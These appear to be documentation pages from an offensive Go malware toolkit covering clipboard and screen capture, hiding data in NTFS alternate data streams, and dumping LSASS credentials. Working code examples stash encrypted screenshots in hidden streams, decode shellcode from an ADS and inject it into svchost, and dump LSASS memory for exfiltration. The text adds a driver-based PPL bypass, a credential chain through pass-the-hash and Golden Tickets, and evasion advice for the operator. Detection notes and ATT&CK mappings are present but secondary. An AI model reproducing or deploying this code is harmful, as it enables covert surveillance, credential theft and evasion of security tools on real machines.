    "github.com/oioio-space/maldev/crypto"
)

func main() {
    key, err := crypto.NewAESKey()
    if err != nil {
        log.Fatal(err)
    }
    logPath := fmt.Sprintf("clip-%s.bin", time.Now().Format("2006-01-02"))
    f, err := os.OpenFile(logPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600)
    if err != nil {
        log.Fatal(err)
    }
    defer f.Close()

    for text := range clipboard.Watch(context.Background(), 500*time.Millisecond) {
        blob, _ := crypto.EncryptAESGCM(key, []byte(text))
        _, _ = f.Write(blob)
    }
}

See ExampleReadText in clipboard_example_test.go.

OPSEC & Detection

ArtefactWhere defenders look
Repeated OpenClipboard + GetClipboardData callsAPI-frequency telemetry; rate-based hunts flag >10 open/close cycles per second
GetClipboardSequenceNumber in a tight loopBehavioural heuristics; legitimate apps call this at human-interaction rates
Clipboard-access audit log (Windows 10 1809+)Privacy Settings → Clipboard history; third-party EDR clipboard hooks
Process making clipboard calls without a visible UIAnomaly heuristics in MDE / CrowdStrike behavioural engine

D3FEND counters:

  • D3-PA — behavioural API-usage analysis.

Hardening for the operator: use a 500 ms or slower poll interval; embed the monitor in a process that legitimately accesses the clipboard (browser helper, password-manager lookalike); avoid running from a headless service where clipboard access is anomalous.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1115Clipboard Datafull — both one-shot and continuous pollingD3-PA

Limitations

  • Text only. CF_UNICODETEXT format only; binary clipboard data (images, file paths via CF_HDROP, rich text) is not captured.
  • Session boundary. Clipboard access is confined to the current Windows session; an implant in Session 0 cannot read Session 1 clipboard data.
  • Race on ErrOpen. If another process holds the clipboard continuously (rare but possible), Watch will silently miss those ticks.
  • Windows only. No Linux/macOS equivalent; build tag windows is required.

See also

  • Keylogging — captures Ctrl+V paste events as part of the keystroke stream.
  • Screen capture — visual complement to clipboard and keystroke collection.
  • crypto — encrypt captured text before writing to disk.
  • cleanup/ads — hide log files in NTFS ADS.
  • Operator path — post-exploitation collection chains.
  • Detection eng path — clipboard monitoring detection telemetry.

Screen capture

← collection index · docs/index

TL;DR

Capture() returns the entire virtual desktop as PNG bytes using GDI BitBlt. For multi-monitor targets, DisplayCount + CaptureDisplay(i) enumerate and capture individual screens. CaptureRect grabs any rectangular region. All three variants return []byte — send directly to a C2 channel or stash in an ADS.

Primer

Screen capture gives the operator a visual snapshot of the user's session: open documents, browser windows, RDP sessions, and credential dialogs all appear in the PNG. It is the fastest way to understand what the target is doing without generating process or file activity.

The implementation uses the GDI device-context model: GetDC(0) acquires a handle to the screen device context, CreateCompatibleDC + CreateCompatibleBitmap build an off-screen buffer, BitBlt(SRCCOPY) copies the screen pixels into that buffer, and GetDIBits extracts the raw BGRA pixel data. A final in-place channel swap (BGRA → RGBA) feeds Go's image/png encoder, which produces the final []byte. All GDI handles are cleaned up before return.

Multi-monitor support uses EnumDisplayMonitors to collect each monitor's bounding rectangle in virtual-desktop coordinates, then performs a CaptureRect on each rectangle. The rectangles may overlap (mirrored displays) or be non-contiguous (extended desktop) — coordinates are in virtual-desktop space and handled transparently by GDI.

How It Works

sequenceDiagram
    participant Code as "screenshot.Capture()"
    participant GDI as "GDI32 / User32"
    participant Enc as "png.Encode"

    Code->>GDI: GetDC(0) → screen DC
    Code->>GDI: CreateCompatibleDC(screenDC) → mem DC
    Code->>GDI: CreateCompatibleBitmap(screenDC, w, h) → hBmp
    Code->>GDI: SelectObject(memDC, hBmp)
    Code->>GDI: BitBlt(memDC, SRCCOPY)
    Code->>GDI: GetDIBits → BGRA []byte
    Code->>Code: BGRA → RGBA (in-place)
    Code->>Enc: png.Encode(RGBA image)
    Enc-->>Code: []byte PNG
    Code->>GDI: DeleteObject, DeleteDC, ReleaseDC

For CaptureDisplay(i):

  1. enumDisplays() calls EnumDisplayMonitors to build []image.Rectangle.
  2. Index bounds are checked against the slice; ErrDisplayIndex on overflow.
  3. CaptureRect(r.Min.X, r.Min.Y, r.Dx(), r.Dy()) is called with the monitor's virtual-desktop rectangle.

API Reference

var ErrCapture, var ErrInvalidRect, var ErrDisplayIndex

godoc

Sentinel errors:

  • ErrCapture — a GDI call failed during pixel extraction.
  • ErrInvalidRectwidth or height is ≤ 0 in CaptureRect.
  • ErrDisplayIndexindexDisplayCount() in CaptureDisplay.

Capture() ([]byte, error)

godoc

Capture the entire virtual desktop (all monitors combined) as a PNG.

Returns:

  • []byte — PNG-encoded screenshot.
  • errorErrCapture wrapping the GDI failure; nil on success.

OPSEC: GetDC(0) + BitBlt are high-volume legitimate APIs used by screen-sharing, video-capture, and accessibility software.

CaptureRect(x, y, width, height int) ([]byte, error)

godoc

Capture a specific rectangle of the virtual desktop as a PNG.

Parameters:

  • x, y — top-left corner in virtual-desktop pixel coordinates.
  • width, height — dimensions in pixels; both must be > 0.

Returns:

  • []byte — PNG of the requested region.
  • errorErrInvalidRect if dimensions are ≤ 0; ErrCapture on GDI failure.

DisplayCount() int

godoc

Return the number of currently attached monitors via EnumDisplayMonitors. Returns 0 if enumeration fails.

DisplayBounds(index int) image.Rectangle

godoc

Return the bounding rectangle of monitor index (zero-based) in virtual-desktop coordinates. Returns image.Rectangle{} if index is out of range.

CaptureDisplay(index int) ([]byte, error)

godoc

Capture a single monitor by index as a PNG.

Parameters:

  • index — zero-based monitor index; use DisplayCount to enumerate.

Returns:

  • []byte — PNG of the monitor.
  • errorErrDisplayIndex if index ≥ DisplayCount(); ErrCapture on GDI failure.

Examples

Simple

import (
    "os"

    "github.com/oioio-space/maldev/collection/screenshot"
)

png, err := screenshot.Capture()
if err != nil {
    panic(err)
}
_ = os.WriteFile("screen.png", png, 0o600)

Composed (all monitors, timestamped files)

import (
    "fmt"
    "os"
    "time"

    "github.com/oioio-space/maldev/collection/screenshot"
)

func captureAll(outDir string) {
    ts := time.Now().Format("150405")
    count := screenshot.DisplayCount()
    for i := 0; i < count; i++ {
        png, err := screenshot.CaptureDisplay(i)
        if err != nil {
            continue
        }
        name := fmt.Sprintf("%s/%s_mon%d.png", outDir, ts, i)
        _ = os.WriteFile(name, png, 0o600)
    }
}

Advanced (interval capture + encrypt + ADS stash)

Capture every 30 s, encrypt each frame with AES-GCM, and append to an NTFS ADS on a pre-existing system file — no new files on disk, content opaque to file scanners.

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/cleanup/ads"
    "github.com/oioio-space/maldev/collection/screenshot"
    "github.com/oioio-space/maldev/crypto"
)

const (
    adsHost   = `C:\ProgramData\Microsoft\Windows\Caches\thumbs.db`
    adsStream = "frames"
)

func main() {
    key, _ := crypto.NewAESKey()
    ctx := context.Background()
    tick := time.NewTicker(30 * time.Second)
    defer tick.Stop()

    for {
        select {
        case <-ctx.Done():
            return
        case <-tick.C:
            png, err := screenshot.Capture()
            if err != nil {
                continue
            }
            blob, _ := crypto.EncryptAESGCM(key, png)
            existing, _ := ads.Read(adsHost, adsStream)
            _ = ads.Write(adsHost, adsStream, append(existing, blob...))
        }
    }
}

See ExampleCapture and ExampleCaptureDisplay in screenshot_example_test.go.

OPSEC & Detection

ArtefactWhere defenders look
GetDC(0) + BitBlt(SRCCOPY) in a non-GUI processBehavioural heuristics; screen-capturing from a headless service is anomalous
High-frequency BitBlt callsAPI-frequency telemetry; video-capture rate (>1/s) from a non-known app
Large heap allocation for pixel bufferMemory telemetry; w×h×4 bytes (e.g., 8 MB for 1920×1080) allocated by non-UI process
PNG files or large binary blobs written to diskFile-write telemetry — mitigated by ADS stashing and encryption
EnumDisplayMonitors callLow signal alone; combined with BitBlt adds confidence

D3FEND counters:

  • D3-PA — behavioural API-usage analysis.

Hardening for the operator: limit capture frequency (1 per 30 s or less blends with screensaver / remote-desktop activity); embed in a process that legitimately renders graphics; send captures over an existing C2 channel rather than writing to disk.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1113Screen Capturefull — primary, rect, per-monitorD3-PA

Limitations

  • Windows only. GDI APIs are not available on Linux/macOS; build tag windows is required.
  • Requires a desktop session. GetDC(0) returns NULL in Session 0 (SYSTEM service); the call must run in an interactive or remote-desktop session.
  • DWM exclusion. Windows 10/11 DWM may exclude DRM-protected content (Netflix, Widevine) from BitBlt results — protected windows appear black.
  • No hardware cursor. The captured PNG does not include the software cursor overlay; the mouse pointer position is not visible in the output.
  • Virtual desktop coordinates. Multi-monitor setups with non-standard DPI scaling may produce coordinates that differ from what the user sees in display settings — use DisplayBounds to verify before CaptureRect.

See also

NTFS Alternate Data Streams

MITRE ATT&CK: T1564.004 -- Hide Artifacts: NTFS File Attributes | Detection: Medium

<- Back to Collection Overview

Package: cleanup/ads Platform: Windows (NTFS required)


Primer

Imagine a filing cabinet where every folder has a visible main pocket, but also a row of thin hidden pockets along the back that most people don't know exist. You can stuff papers into those hidden pockets and they won't appear when someone looks inside the folder normally — only someone who specifically searches for the hidden pockets will find them.

NTFS Alternate Data Streams work exactly like that. Every file on an NTFS volume has a default data stream (the file content you see when you open it). But the filesystem also allows any number of named streams on the same file path. Writing document.txt:secret stores data alongside document.txt without affecting its visible size, content, or timestamp. Windows Explorer, dir, and most file browsers only show the default stream — the hidden streams are invisible unless you use streams.exe, PowerShell's Get-Item -Stream *, or an EDR that actively enumerates them.

This makes ADS useful for stashing payloads on legitimate-looking files, persisting data across reboots without dropping new files, and the cleanup/selfdelete package already uses an ADS rename internally to delete the running binary.

How It Works

sequenceDiagram
    participant Attacker as "Attacker Process"
    participant NTFS as "NTFS Driver"
    participant File as "document.txt (on disk)"

    Attacker->>NTFS: os.WriteFile("document.txt:payload", data)
    NTFS->>File: Create named stream ":payload:$DATA"
    Note over File: Default stream unchanged\nHidden stream now exists

    Attacker->>NTFS: FindFirstStreamW("document.txt")
    NTFS-->>Attacker: "::$DATA" (default), ":payload:$DATA"
    Note over Attacker: List() filters out ::$DATA\nReturns [{Name:"payload", Size:N}]

    Attacker->>NTFS: os.ReadFile("document.txt:payload")
    NTFS-->>Attacker: raw bytes

    Attacker->>NTFS: os.Remove("document.txt:payload")
    NTFS->>File: Delete named stream only\nDefault stream untouched

Step-by-step:

  1. Write -- os.WriteFile with path file:streamName creates or overwrites the named stream. The default file content and metadata are unaffected.
  2. List -- FindFirstStreamW / FindNextStreamW enumerate all streams. The List() helper strips the default ::$DATA stream and returns only user-created ones.
  3. Read -- os.ReadFile with the file:streamName syntax reads the hidden stream content directly.
  4. Delete -- os.Remove on file:streamName deletes only that stream; the host file is preserved.
  5. Undeletable files -- The \\?\ prefix bypasses Win32 name normalization, allowing filenames ending with dots (...) that Explorer and cmd.exe cannot navigate to or delete. Only \\?\-prefixed paths or NtCreateFile can access them.

Usage

package main

import (
    "fmt"
    "log"

    "github.com/oioio-space/maldev/cleanup/ads"
)

func main() {
    host := `C:\Users\Public\desktop.ini`
    payload := []byte{0x90, 0x90, 0xCC} // shellcode placeholder

    // Store shellcode in a hidden stream.
    if err := ads.Write(host, "payload", payload); err != nil {
        log.Fatal(err)
    }

    // Enumerate all hidden streams.
    streams, err := ads.List(host)
    if err != nil {
        log.Fatal(err)
    }
    for _, s := range streams {
        fmt.Printf("stream: %s (%d bytes)\n", s.Name, s.Size)
    }

    // Read it back.
    data, err := ads.Read(host, "payload")
    if err != nil {
        log.Fatal(err)
    }
    fmt.Printf("read %d bytes\n", len(data))

    // Clean up.
    if err := ads.Delete(host, "payload"); err != nil {
        log.Fatal(err)
    }
}

Combined Example

package main

import (
    "log"
    "os"

    "github.com/oioio-space/maldev/cleanup/ads"
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/inject"
)

func main() {
    // 1. Retrieve XOR-encoded shellcode from an ADS on a benign system file.
    //    The host file is untouched; only the hidden stream carries the payload.
    encoded, err := ads.Read(`C:\Windows\System32\licensemanager.exe`, "cfg")
    if err != nil {
        log.Fatal(err)
    }

    shellcode, err := crypto.XORWithRepeatingKey(encoded, []byte("k3y"))
    if err != nil {
        log.Fatal(err)
    }

    // 2. Create an undeletable staging file for persistence.
    //    Trailing-dot names cannot be accessed or removed via Explorer / cmd.
    stagingDir := os.TempDir()
    _, err = ads.CreateUndeletable(stagingDir, shellcode)
    if err != nil {
        log.Fatal(err)
    }

    // 3. Inject via Early Bird APC.
    injector, err := inject.Build().
        Method(inject.MethodEarlyBirdAPC).
        ProcessPath(`C:\Windows\System32\svchost.exe`).
        IndirectSyscalls().
        Create()
    if err != nil {
        log.Fatal(err)
    }
    if err := injector.Inject(shellcode); err != nil {
        log.Fatal(err)
    }
}

Cleanup — Deleting Undeletable Files

ads.DeleteUndeletable(path)

Since these files use trailing-dot filenames that bypass Win32 normalization, only the \\?\ prefix (used internally by DeleteUndeletable) or NT-level deletion can remove them.

Advantages & Limitations

AspectDetail
StealthMedium -- streams are invisible to Explorer and dir. Detected by Sysinternals Streams, PowerShell Get-Item -Stream *, and EDRs that call FindFirstStreamW.
CompatibilityGood -- ADS requires NTFS; FAT32/exFAT volumes silently drop streams. Works on files and directories.
ReliabilityHigh -- stream I/O uses standard os.ReadFile / os.WriteFile; no custom syscalls needed.
Undeletable filesThe \\?\ + trailing-dot trick survives reboots and cannot be removed via Explorer, cmd.exe, or del. Requires elevated NtDeleteFile or a raw NT path to clean up.
LimitationsHost file must already exist on an NTFS volume. ADS size counts against the volume quota. Streams are lost when the file is copied to a non-NTFS destination (e.g., FAT32 USB drive, email attachment).
Detection bypassZone.Identifier (the browser download ADS) is well-known; custom stream names are less scrutinised but uncommon stream names can stand out in EDR telemetry.

API Reference

// StreamInfo describes an alternate data stream.
type StreamInfo struct {
    Name string
    Size int64
}

// List returns all named alternate data streams on path (excludes the default ::$DATA stream).
// Uses FindFirstStreamW / FindNextStreamW.
func List(path string) ([]StreamInfo, error)

// Read returns the content of the named stream.
// Equivalent to os.ReadFile(path + ":" + streamName).
func Read(path, streamName string) ([]byte, error)

// Write creates or overwrites the named stream.
// Equivalent to os.WriteFile(path + ":" + streamName, data, 0644).
func Write(path, streamName string, data []byte) error

// Delete removes a named stream without affecting the host file.
// Returns a wrapped error on failure so callers can use errors.Is.
func Delete(path, streamName string) error

// CreateUndeletable creates a file named "..." inside dir using the \\?\ prefix.
// The resulting path cannot be accessed or deleted by Explorer or cmd.exe.
// Returns the plain (non-\\?\) path so it can be passed to ReadUndeletable.
func CreateUndeletable(dir string, data []byte) (string, error)

// ReadUndeletable reads a file created by CreateUndeletable.
// Prepends \\?\ internally to bypass Win32 name normalisation.
func ReadUndeletable(path string) ([]byte, error)

// DeleteUndeletable removes a file created by CreateUndeletable.
// Uses the \\?\ prefix to bypass Win32 name normalization.
func DeleteUndeletable(path string) error

See also

LSASS Credential Dump

<- Back to Collection

MITRE ATT&CK: T1003.001 — OS Credential Dumping: LSASS Memory Package: credentials/lsassdump Platform: Windows Detection: High


Primer

lsass.exe holds, in memory, every credential material the OS has seen since boot: NTLM hashes (MSV), Kerberos TGT/keys, WDigest plaintexts (when enabled), DPAPI master keys, cached domain credentials, and CloudAP / Live session tokens. Dumping the process and feeding the blob to mimikatz / pypykatz is the single most common lateral-movement prime in Windows red-team engagements.

The loud path — MiniDumpWriteDump(lsass.exe, out.dmp, MiniDumpWithFullMemory) — is blocked or alerted by every modern EDR: MiniDumpWriteDump is heavily hooked, and so is OpenProcess(PROCESS_VM_READ, lsass.pid) on its own.

credentials/lsassdump ships a quieter variant:

  1. Stealthier process discovery: NtGetNextProcess walks the running-process list with PROCESS_QUERY_LIMITED_INFORMATION only (cheap access that even protected processes grant). No EnumProcesses call, no PID enumeration via ToolHelp.
  2. Minimal audit surface: the single VM_READ request only targets lsass.exe — via NtOpenProcess(CLIENT_ID{pid, 0}, QUERY_LIMITED|VM_READ) after the walk identifies it. No other process is opened with VM_READ.
  3. No dbghelp: the MINIDUMP blob is assembled in-process, streaming to the caller's io.Writer. MiniDumpWriteDump is never imported.
  4. Caller-routed syscalls: every Nt* call accepts an optional *wsyscall.Caller so the operator can route via direct / indirect syscalls / Hell's Gate, bypassing ntdll function-start hooks.

How It Works

sequenceDiagram
    participant C as "Caller"
    participant D as "lsassdump.Dump"
    participant K as "NTDLL / kernel32"
    participant L as "lsass.exe"

    C->>D: OpenLSASS(caller)
    loop NtGetNextProcess walk
        D->>K: NtGetNextProcess(cur, QUERY_LIMITED)
        K-->>D: next handle
        D->>K: NtQueryInformationProcess(ImageFileName)
        alt name == "lsass.exe"
            D->>K: NtQueryInformationProcess(Basic) → PID
            D->>K: NtOpenProcess(pid, QUERY_LIMITED | VM_READ)
            K-->>D: lsass handle
        end
    end
    C->>D: Dump(handle, w, caller)
    loop for each VM region
        D->>K: NtQueryVirtualMemory(handle, addr)
        D->>K: NtReadVirtualMemory(handle, addr, size)
        K-->>D: bytes
    end
    D->>C: MINIDUMP stream to w
    C->>D: CloseLSASS(handle)

Step-by-step:

  1. OpenLSASS(caller) walks the process list with QUERY_LIMITED_INFORMATION.
  2. For each handle, NtQueryInformationProcess(ProcessImageFileName, 27) returns the image path; we basename-match case-insensitively against lsass.exe.
  3. On match, NtQueryInformationProcess(ProcessBasicInformation, 0) yields the PID. The walk handle is closed.
  4. NtOpenProcess opens the target with QUERY_LIMITED | VM_READ. STATUS_ACCESS_DENIEDErrOpenDenied (need admin); STATUS_PROCESS_IS_PROTECTEDErrPPL (Credential Guard / RunAsPPL=1).
  5. Dump(h, w, caller) assembles a MINIDUMP Config:
    • Regions: NtQueryVirtualMemory loop from addr 0, every committed non-free non-guard region, contents via NtReadVirtualMemory in one shot.
    • Modules: K32EnumProcessModulesEx(LIST_MODULES_ALL) + K32GetModuleFileNameExW (path-hooked psapi today; PEB-walk variant is future work).
    • SystemInfo: win/version.Current() under the hood, so credential parsers pick the right per-build offset table.
  6. minidump.Build(w, cfg) streams the four streams (SystemInfoStream, ThreadListStream, ModuleListStream, Memory64ListStream) plus raw region bytes — no intermediate buffer for memory contents.

Usage

import (
    "github.com/oioio-space/maldev/credentials/lsassdump"
)

func main() {
    stats, err := lsassdump.DumpToFile(`C:\ProgramData\Intel\snapshot.bin`, nil)
    if err != nil {
        switch {
        case errors.Is(err, lsassdump.ErrOpenDenied):
            // Need admin. Escalate or bail.
        case errors.Is(err, lsassdump.ErrPPL):
            // Credential Guard / RunAsPPL=1 — separate unprotect chantier.
        default:
            log.Fatal(err)
        }
    }
    fmt.Printf("dumped %d regions / %d bytes / %d modules\n",
        stats.Regions, stats.Bytes, stats.ModuleCount)
}

Stealthier syscalls via *wsyscall.Caller

caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHellsGate())
stats, err := lsassdump.DumpToFile("snapshot.bin", caller)
// Every NtGetNextProcess / NtQueryInformationProcess /
// NtQueryVirtualMemory / NtReadVirtualMemory / NtOpenProcess above
// goes through caller → no ntdll function-start hook ever fires.

Streaming into memory (no on-disk artifact)

var buf bytes.Buffer
h, err := lsassdump.OpenLSASS(nil)
if err != nil { log.Fatal(err) }
defer lsassdump.CloseLSASS(h)
stats, err := lsassdump.Dump(h, &buf, nil)
// buf now holds the full MINIDUMP — exfil via C2 without ever writing.

Validation

The package's TestDumpToFile_ProducesValidMiniDump runs on the Windows VM under MALDEV_INTRUSIVE=1 and asserts:

  • MDMP magic + version 42899 + 4 streams
  • At least one memory region and one module
  • File size > 1 MB (lsass is typically 50–200 MB of committed VM)

A real run against an unprotected Win10 VM parses cleanly with pypykatz — MSV NT hashes, WDigest plaintexts (if available), Kerberos session material, DPAPI master keys, and CloudAP tokens all come through. Compatibility with mimikatz is equivalent by construction: the stream layout matches MiniDumpWriteDump(MiniDumpWithFullMemory).


Limitations

  • PPL-protected lsass (default on Win11, opt-in on Win10 via RunAsPPL=1 or Credential Guard) refuses VM_READ to userland. The package now ships an EPROCESS-unprotect path (Unprotect(rw driver.ReadWriter, eprocess uintptr, tab PPLOffsetTable)): caller plugs in a kernel/driver.ReadWriter (RTCore64, GDRV, custom), passes lsass's EPROCESS kernel VA + the build's PS_PROTECTION byte offset, and Unprotect zeros the byte. A subsequent OpenLSASS succeeds normally; Reprotect(tok, rw) puts the byte back. Caller is responsible for resolving lsass's EPROCESS upstream (PsActiveProcessHead walk / handle-table parse / bring your own primitive) — different attack chains use different walks, so wrapping that lookup is not part of the surface. See BYOVD — RTCore64 for the driver-side primitive and kernel/driver/rtcore64's SCM lifecycle.
  • Module enumeration uses K32EnumProcessModulesEx (psapi), which is path-hooked by some EDRs. A PEB-walk variant (InMemoryOrderModuleList) is tracked as future work.
  • Threads are not captured — the ThreadListStream is emitted with zero entries. Credential parsers (mimikatz / pypykatz) only need modules + memory; threads are cosmetic for our use case. Can be added if a consumer explicitly needs context bytes (e.g., live debugger open).
  • No chunked reads: each region is read in one NtReadVirtualMemory. For a 200 MB capture this means a 200 MB allocation cross-pagefile — acceptable for the threat model but a future optimisation.

API Reference

// OpenLSASS walks NtGetNextProcess with QUERY_LIMITED, matches lsass.exe
// by ProcessImageFileName, reopens via NtOpenProcess(pid, QUERY_LIMITED |
// VM_READ). Pair every successful call with CloseLSASS.
func OpenLSASS(caller *wsyscall.Caller) (uintptr, error)

// CloseLSASS closes the handle returned by OpenLSASS.
func CloseLSASS(h uintptr) error

// Dump streams a MINIDUMP blob (MDMP, FullMemory + HandleData +
// ThreadInfo + TokenInformation) describing handle h to w. Stats
// summarises what landed.
func Dump(h uintptr, w io.Writer, caller *wsyscall.Caller) (Stats, error)

// DumpToFile is OpenLSASS + Dump + file.Sync + file.Close in one call.
// File is created 0o600; removed if Dump fails.
func DumpToFile(path string, caller *wsyscall.Caller) (Stats, error)

// Error sentinels for common failure modes.
var (
    ErrLSASSNotFound = errors.New("...")
    ErrOpenDenied    = errors.New("...")
    ErrPPL           = errors.New("...")
)

// Stats describes what Dump emitted. Surfaces via Dump/DumpToFile.
type Stats struct {
    Regions     int
    Bytes       uint64
    ModuleCount int
    ThreadCount int
}

// Config + Build are exported for callers that want to build a
// MINIDUMP from arbitrary memory (e.g., a memory snapshot replay or
// a test fixture). See minidump.go for field docs.
func Build(w io.Writer, cfg Config) (Stats, error)

See also

Credential access

← maldev README · docs/index

Pure-Go credential-extraction primitives for Windows: live LSASS process dumping, offline SAM hive parsing, in-process MINIDUMP parsing, and Kerberos ticket forging. The four packages chain end-to-end — lsassdump produces a dump, sekurlsa parses it into typed credentials, goldenticket re-uses an extracted krbtgt hash to mint a Golden TGT, and samdump covers the local-account branch when LSASS access is unavailable.

flowchart LR
    subgraph host [Live Windows host]
        L[lsass.exe<br>memory]
        S[SYSTEM + SAM<br>hives]
        K[krbtgt key<br>on a DC]
    end
    subgraph extract [credentials/*]
        LD[lsassdump<br>NtReadVirtualMemory<br>+ in-process MINIDUMP<br>+ optional PPL bypass]
        SE[sekurlsa<br>parse MINIDUMP<br>walk MSV / Wdigest /<br>Kerberos / DPAPI / TSPkg /<br>CloudAP / LiveSSP / CredMan]
        SD[samdump<br>REGF parser<br>+ syskey / hashed bootkey<br>+ AES/RC4/DES decrypt]
    end
    subgraph forge [credentials/*]
        GT[goldenticket<br>Forge + Submit]
    end
    L --> LD
    LD --> SE
    S --> SD
    K --> SE
    SE -.krbtgt hash.-> GT
    SD --> OUT[NTLM hashes / pwdump]
    SE --> OUT2[NTLM / Kerberos / DPAPI<br>/ CloudAP PRT / etc.]
    GT --> KIRBI[kirbi blob<br>+ LSA cache inject]

Packages

PackageTech pageDetectionOne-liner
credentials/lsassdumplsassdump.mdnoisyNtGetNextProcess + in-process MINIDUMP + EPROCESS PPL unprotect via RTCore64
credentials/sekurlsasekurlsa.mdquiet (parser only)Pure-Go MSV1_0 / Wdigest / Kerberos / DPAPI / TSPkg / CloudAP / LiveSSP / CredMan walkers + LSA-crypto unwrap + PTH write-back + Kerberos kirbi export
credentials/samdumpsamdump.mdquiet (offline) / noisy (LiveDump)Offline SAM hive dump — REGF parser + boot-key permutation + AES/RC4 hashed-bootkey + per-RID DES de-permutation
credentials/goldenticketgoldenticket.mdnoisy (visible TGT lifetime)PAC marshaling + KRB5 Forge + LSA Submit for Golden Ticket attacks

Quick decision tree

You want to…Use
…get NTLM hashes / Kerberos tickets from a live hostlsassdumpsekurlsa.Parse chain
…parse a .dmp you obtained out-of-bandsekurlsa.Parse
…dump SAM offline (no LSASS access)samdump.Dump
…acquire SAM/SYSTEM live (loud)samdump.LiveDump
…forge a Golden Ticketgoldenticket.ForgeSubmit
…pass-the-hash into a live LSASSsekurlsa.Pass / PassImpersonate
…pass-the-ticketsekurlsa.KerberosTicket.ToKirbigoldenticket.Submit
…bypass PPL on lsass.exelsassdump.Unprotect + kernel/driver/rtcore64

MITRE ATT&CK

T-IDNamePackagesD3FEND counter
T1003.001OS Credential Dumping: LSASS Memorycredentials/lsassdump, credentials/sekurlsaD3-PSA, D3-SICA
T1003.002OS Credential Dumping: SAMcredentials/samdumpD3-PSA, D3-FCA
T1068Exploitation for Privilege Escalationcredentials/lsassdump (PPL bypass via BYOVD)D3-SICA
T1550.002Use Alternate Authentication Material: Pass the Hashcredentials/sekurlsaD3-PSA, D3-SICA
T1550.003Use Alternate Authentication Material: Pass the Ticketcredentials/sekurlsa, credentials/goldenticketD3-NTA
T1558.001Steal or Forge Kerberos Tickets: Golden Ticketcredentials/goldenticketD3-AZET, D3-NTA
T1558.003Steal or Forge Kerberos Tickets: Kerberoastingcredentials/sekurlsa (downstream consumer)D3-NTA

See also

LSASS minidump (live)

← credentials index · docs/index

TL;DR

Produce a Windows MINIDUMP of lsass.exe's memory in-process — without calling MiniDumpWriteDump (the heavily-hooked DbgHelp export). Walks regions + modules with NtReadVirtualMemory, emits the canonical 6-stream MINIDUMP layout, and ships a RTCore64-driven kernel path to flip lsass out of PPL when RunAsPPL=1. The dump is consumed by credentials/sekurlsa.

Primer

LSASS holds the cleartext Kerberos password material, NTLM hashes, DPAPI master keys, TGT cache, CloudAP PRT, and TSPkg/RDP plaintext. Every credential-dumping tool eventually wants its memory.

The classic path is MiniDumpWriteDump from dbghelp.dll; modern EDRs hook every interesting call inside that function. The lsassdump package skips the hook surface entirely:

  1. Locate lsass via NtGetNextProcess (no OpenProcess / CreateToolhelp32Snapshot / EnumProcesses).
  2. Walk the target's VAD via NtQueryVirtualMemory to enumerate committed regions.
  3. Walk the loaded modules via NtQueryInformationProcess(ProcessLdr…) parsing the PEB's Ldr.InMemoryOrderModuleList.
  4. Read each region's bytes with NtReadVirtualMemory.
  5. Emit a 6-stream MINIDUMP (Header, SystemInfo, ModuleList, Memory64List, MemoryInfoList, ThreadList stub) directly to an io.Writer.

Every Nt* call accepts an optional *wsyscall.Caller (nil = WinAPI fallback) so the operator can route through direct or indirect syscalls and bypass user-mode hooks.

PPL stands separate: when RunAsPPL=1 (Win 11 default) the kernel rejects PROCESS_VM_READ regardless of token privileges. The package ships a kernel-level bypass via kernel/driver/rtcore64: zero EPROCESS.Protection byte (temporarily), open lsass, restore the byte. The Discover* helpers parse ntoskrnl.exe PE prologues to derive the EPROCESS field offsets without hand-curated tables.

How It Works

flowchart TD
    subgraph PPL [PPL bypass — optional, only if RunAsPPL]
        D1[DiscoverProtectionOffset<br>parse PsIsProtectedProcess]
        D2[DiscoverUniqueProcessIdOffset<br>parse PsGetProcessId]
        D3[DiscoverInitialSystemProcessRVA<br>find PsInitialSystemProcess]
        D1 --> FE[FindLsassEProcess<br>walk PsActiveProcessLinks]
        D2 --> FE
        D3 --> FE
        FE --> UN[Unprotect<br>zero Protection byte<br>via RTCore64]
    end
    UN -. removes PPL bit .-> OPEN
    OPEN[OpenLSASS<br>NtGetNextProcess + access mask] --> ENUM[collectRegions / collectModules<br>NtQueryVirtualMemory<br>+ ProcessLdrInformation]
    ENUM --> RD[Dump<br>stream regions to writer<br>via NtReadVirtualMemory]
    RD --> DMP[MINIDUMP blob]
    DMP --> SK[credentials/sekurlsa<br>parses extracts]
    UN -. after dump .-> RP[Reprotect<br>restore Protection byte]

Implementation details:

  • OpenLSASS walks the system's process list with NtGetNextProcess — no public-API call ever names lsass by string. The PID is resolved by reading the EPROCESS or via NtQueryInformationProcess(ProcessBasicInformation).
  • The Memory64List stream is the bulk of the dump — every committed region's BaseAddress + RegionSize + RawData. The package writes the directory entry first, then streams payload bytes through the writer to keep RAM usage flat regardless of lsass size (~80–600 MB on modern boxes).
  • Stats reports per-pass counters (regions, modules, bytes read, bytes skipped) so the operator can spot incomplete dumps before parsing.
  • DiscoverProtectionOffset cross-validates two prologue patterns (PsIsProtectedProcess + PsIsProtectedProcessLight) and returns the EPROCESS byte offset only when both agree — falsey matches at runtime would otherwise corrupt EPROCESS.
  • Unprotect keeps the original Protection value in PPLToken so Reprotect can restore it. Aborting between the two leaves lsass unprotected; defer the call.

API Reference

type Stats

godoc

FieldTypeDescription
RegionsintCommitted regions enumerated
ModulesintLoaded modules enumerated
BytesReadint64Total bytes copied into the dump
BytesSkippedint64Region bytes that NtReadVirtualMemory refused (guard pages, deleted views)

type PPLOffsetTable / type PPLToken

godoc

PPLOffsetTable carries the per-build EPROCESS field offsets (populated by the Discover*Offset helpers). PPLToken is the opaque return value from Unprotect, opaquely encoding the original Protection bytes so Reprotect can restore them.

Sentinel errors

godoc

ErrorTrigger
ErrLSASSNotFoundNtGetNextProcess walk completed without seeing lsass
ErrOpenDeniedAccess denied — admin? token? PPL active?
ErrPPLlsass is PPL-protected; need driver-assisted Unprotect
ErrLsassEProcessNotFoundPsActiveProcessLinks walk did not match the lsass PID
ErrInvalidEProcess / ErrInvalidProtectionOffsetUpstream lookup returned zero — populate PPLOffsetTable for the build
ErrProtectionOffsetNotFoundPsIsProtectedProcess prologue didn't match expected movzx eax, [rcx+disp32]

OpenLSASS(caller *wsyscall.Caller) (uintptr, error) (Windows)

godoc

Resolve and open lsass.exe via NtGetNextProcess. Returns a raw handle (uintptr cast for cross-package interop). Caller must CloseLSASS.

